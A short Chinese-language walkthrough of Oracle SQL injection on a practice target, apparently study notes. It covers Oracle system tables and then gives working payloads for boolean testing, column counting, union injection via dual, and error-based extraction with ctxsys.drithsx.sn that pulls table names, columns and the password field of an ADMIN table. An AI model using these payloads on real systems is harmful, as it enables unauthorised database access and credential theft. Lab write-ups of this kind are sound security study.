1.概念
1.oracle数据库特点:很死板 ,非常讲究语法格式
2.dual:dual是一个实表(也有人说它是虚表),如果你直接查询它,它只显示一个X,列名为DUMMY,dual表实际作用只是为了满足oracle数据库的语法格式
3.特点:没有database()函数,没有limit用法。
4.常用的语句
- select * from all_tables 查询出所有的表
- select * from user_tables 查询出当前用户的表
- select*from all_tab_columns 查询出所有的字段
- select*from user_tab_columns 查询出当前用户的字段
- select*from v$version 查版本
2.靶场
1.尝试注入
payload:and 1=1
payload:and 1=2
and 1=1 页面显示正常,and 1=2显示异常,证明存在sql注入
2.查看字段数
payload:order by 4
payload:order by 5
判断出表中存在4个字段
3.判断显错位
payload:and 1=2 union select 1,2,3,4
发现此前的爆显错位的方法在oracle数据库中并不适用,改用null代替字段尝试payload:and 1=2 union select null,null,null,null
结合本章之所学,加上oracle的特有虚表名dual尝试,payload:and 1=2 union select null,null,null,null from dual
4.爆出表名
使用oracle的报错函数,爆出表名
payload:and 1=ctxsys.drithsx.sn(1,(select table_name from user_tables where rownum=1))
5.爆出字段名
payload:and 1=ctxsys.drithsx.sn(1,(select column_name from (select column_name,rownum n from user_tab_columns where table_name=‘ADMIN’ )where n=2))
6.爆出数据
payload:and 1=ctxsys.drithsx.sn(1,(select UPASS from (select rownum n,UPASS from ADMIN)where n=2))